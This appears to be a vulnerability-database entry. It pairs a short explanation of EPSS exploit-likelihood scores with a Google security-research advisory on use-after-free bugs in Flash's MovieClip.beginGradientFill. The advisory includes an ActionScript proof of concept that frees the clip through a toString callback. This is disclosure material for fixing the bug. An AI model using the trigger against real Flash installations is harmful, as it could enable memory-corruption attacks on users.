EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Source: https://code.google.com/p/google-security-research/issues/detail?id=557 There are a number of use-after-free vulnerabilities in MovieClip.beginGradientFill. If the spreadMethod or any other string parameter is an object with toString defined, this method can free the MovieClip, which is then used. Note that many parameters to this function can be used to execute script and free the MovieClip during execution, it is recommended that this issues be fixed with a stale pointer check. A PoC is as follows: this.createEmptyMovieClip("bmp_fill_mc", 1); with (bmp_fill_mc) { colors = [0xFF0000, 0x0000FF]; fillType = "radial" alphas = [100, 100]; ratios = [0, 0xFF]; var o = {toString: func}; spreadMethod = o; interpolationMethod = "linearRGB"; focalPointRatio = 0.9; matrix = new Matrix(); matrix.createGradientBox(100, 100, Math.PI, 0, 0); beginGradientFill(fillType, colors, alphas, ratios, matrix, spreadMethod, interpolationMethod, focalPointRatio); moveTo(100, 100); lineTo(100, 300); lineTo(300, 300); lineTo(300, 100); lineTo(100, 100); endFill(); } bmp_fill_mc._xscale = 200; bmp_fill_mc._yscale = 200; function func(){ trace("in func"); var test = thiz.createTextField("test", 1, 1, 1, 10, 10); trace(test); test.removeTextField(); return "reflect"; } A sample swf and fla is attached.
